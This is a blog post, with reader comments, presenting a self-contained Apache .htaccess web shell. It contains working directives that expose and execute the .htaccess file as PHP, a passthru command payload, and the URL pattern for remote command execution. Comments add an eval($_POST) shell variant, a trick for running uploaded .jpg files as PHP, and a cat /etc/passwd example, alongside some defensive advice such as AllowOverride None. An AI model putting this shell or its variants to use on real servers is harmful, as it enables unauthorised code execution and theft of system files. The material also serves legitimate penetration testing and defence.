Attacking webservers via .htaccess

| | Comments (15)
A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul -

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

Update: Due to the large number of comments on this post I have created more project information including a FAQ and tutorial under the project page.


really nice

Great work mate!

nice way to not get noticed during a pen-test; .htaccess php shell.

This is awesome and scary in equal amounts, cheers for sharing.

It was born out of necessity during a pentest. I would do a major rewrite if I wanted stealth. GET requests to .htaccess?c=cat%20%2fetc%2fpasswd with a 200 response code in the access logs isn't very stealthy IMHO.

I have to agree with Eldar Marcussen, even though it is very nice, and not often seen (if used at all). It does however raise a huge alert, to anyone reviewing the logs. There are better and more stealthy ways, but I liked the example.

I have seen images, being used as web shells, by changing a .htaccess file to allow e.g., the PNG extension to be executed as PHP. :-) (A common LFI and RFI trick which is not related to this, is appending a PHP script to a GIF file, and then uploading this file is possible.)

Hi, nice work. I have a question.

"This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url."

Tested on internal Apache 2.2.12 and it says "403 - Forbidden. You don't have permission to access /.htaccess on this server."

Am I missing something? I uploaded htaccess.php to a folder and renamed it .htaccess. It gives the 403 error above.

It sounds like the old phf.cgi expl0it all over again... well done!

Hey Eldar Marcussen,

just wondering why you are not using a POST php shell like:

. eval($_POST['mike_sais']);
(your comment box is not allowing php tags)

or if register_globals is on you could use

. eval($mike_sais);

Using the POST shell there is only minimal noise in your access_log files. Btw, can I translate your article in German and post it on my German security blog?

Greetings from good old Germany

Seems like the most obvious solution would be to have .htaccess which are not writeable by the apache user in any directory that you intend users to upload things.

If you created a folder with php you could put your own .htaccess in that folder, but to create a folder you need to run php first.

So if you cant upload a .htaccess file to execute php to create a folder to put your .htaccess file in, its safe.

So, I think as long as there is no place to put a .htaccess file, then this wont work.
However it is still a great workaround for running php in a folder you can upload a htaccess file to, that wont normally run php, and it makes a lot of sense seeing as htaccess is what defines the php parsing of files in the first place.

However, I think there are also ways to prevent htaccess from over riding default deny rules, such as AllowOverride None.
Its also possible "AllowOverride None" in the parent .htaccess above your upload folder might prevent it from overridding too which would be the easiest solution.

Well known since a very long time ...
No need to use .htaccess as the shell file, simply do :
AddType application/x-httpd-php .jpg

Then upload your phpshell with a jpg extension which is very likely to be allowed in whitelisted extension.

I never claimed to have found a new attack vector, but as it says in the post, the CMS I was testing placed each uploaded file in it's own directory. Thus the jpeg as php script approach won't work as it will not have a .htaccess file in the same directory.

Disabling the use of .htaccess files through your apache configuration is the best way to stop this attack.


No problems on the translation. I prefer to use GET requests as I usually fire them off from the command line. Stealth oriented penetration tests aren't that common these days, so I don't have to worry about noise int he logs. As stated earlier in the comments I would do a drastic rewrite if I wanted a stealth shell.

That usually means the host has AllowOverride None configured in their apache configuration

No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.